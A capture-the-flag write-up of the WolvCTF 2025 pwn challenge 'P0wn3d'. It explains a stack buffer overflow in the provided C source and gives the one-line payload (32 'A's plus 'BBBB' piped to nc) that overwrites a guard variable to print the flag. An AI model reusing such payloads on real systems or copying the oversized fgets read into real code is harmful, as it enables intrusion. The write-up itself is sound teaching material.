💣 P0wn3d
A detailed write-up of the Pwn challenge 'P0wn3d' from WolvCTF - 2025
📊 Challenge Overview
Category Details Additional Info 🏆 Event WolvCTF - 2025 Event Link 🔰 Category Pwn 💣 💎 Points 50 Out of 500 total ⭐ Difficulty 🟢 Easy Personal Rating: 0/10 👤 Author Didkd Profile 🎮 Solves (At the time of flag submission) 6 solve rate 📅 Date 23-03-2025 WolvCTF - 2025 🦾 Solved By mH4ck3r0n3 Team: QnQSec
📝 Challenge Information
Author: Didkd An introduction to pwn challenges. This is to protect the babies from last year!
🎯 Challenge Files & Infrastructure
Provided Files
Files:
🔍 Initial Analysis
First Steps
This is the first challenge in the
P0wn3dseries. While reviewing the attached files, I noticed that the source file inCwas included, so I skipped runningchecksecon theELF (Executable And Linkable Format).Analyzing the code, it is a
Buffer Overflowwith a guard:
1 2 3 4struct __attribute__((__packed__)) data { char buf[32]; int guard; };A structure is declared as
packed, which ensures that there is no padding betweenbufandguardin the stack. This means we will find32 bytes(forbuf) followed immediately by4 bytes(forguard, asintis 4 bytes).Continuing to read, I found a
get_flagfunction that reads from theflag.txtfile and prints its content. In themainfunction, we find the actual vulnerability:
1 2 3 4 5 6 7 8 9 10 11 12 13 14struct data first_words; ignore(); /* ignore this function */ printf("Hello little p0wn3r. Do you have any first words?\n"); fgets(first_words.buf, 64, stdin); sleep(2); puts("Man that is so cute"); sleep(2); puts("I remember last year people were screaming at the little p0wn3rs.. like AAAAAAAAAAAAAAAAAAAAAAAAAAAAA!"); sleep(2); puts("Don't worry little one. I won't let them do that to you. I've set up a guard"); if (first_words.guard == 0x42424242) { get_flag(); }The vulnerability lies in the use of
fgets(). As we can see, it reads64 bytesfrom standard input and stores them in the variablebuf, which we previously determined to be only32 bytesin size.Therefore, if we input more than
32 bytes, we will overwrite data beyond the allocated buffer forbuf. Since the next variable in the stack isguard, writing4 bytesbeyondbufwill overwrite its value.Now, let’s move on to the exploitation phase.
🔬 Vulnerability Analysis
Potential Vulnerabilities
- Buffer Overflow
🎯 Solution Path
Exploitation Steps
Initial setup
To call the
get_flag()function, we need to enter theifstatement that checks whether theguardvariable is equal to0x42424242.Converting this value (
0x42) to an ASCII character gives us:Since
0x42repeats a total of4times, our payload must includeB*4.
Exploitation
To construct the final payload, we first need to fill the buffer of the
bufvariable, which we determined to be32 bytes, and then overwrite theguardvariable withB*4to enter theifstatement and triggerget_flag. Since each character occupies1 byte, we can directly write a payload like this:
1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBThat is,
A*32(to fill thebufbuffer) and fourBs to overwriteguardand enter theifstatement. Since this payload is quite simple, I sent it directly using Bash:
1python3 -c "print('A'*32 + 'B' * 4)" | nc p0wn3d.kctf-453514-codelab.kctf.cloud 1337redirecting the output of
pythonvia|directly tonetcat. This way, when input is requested and expected instdin, it is automatically sent asAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB(the output from Python). Doing this, I obtained the flag.
Flag capture
🛠️ Exploitation Process
Approach
The exploit simply connects to the server and first sends a padding of
A*32, followed byB*4to bypass the guard and call the function to obtain the flag.
🚩 Flag Capture
Flagwctf{pwn_1s_l0v3_pwn_1s_l1f3}
Proof of Execution
🔧 Tools Used
Tool Purpose Python Exploit GDB Dynamic Analysis
💡 Key Learnings
Skills Improved
- Binary Exploitation
- Reverse Engineering
- Web Exploitation
- Cryptography
- Forensics
- OSINT
- Miscellaneous
📚 References & Resources
Similar Challenges
Learning Resources
📊 Final Statistics
| Metric | Value | Notes |
|---|---|---|
| Time to Solve | 00:03 | From start to flag |
| Global Ranking (At the time of flag submission) | 7/428 | Challenge ranking |
| Points Earned | 50 | Team contribution |
Created: 23-03-2025 • Last Modified: 23-03-2025 Author: mH4ck3r0n3 • Team: QnQSec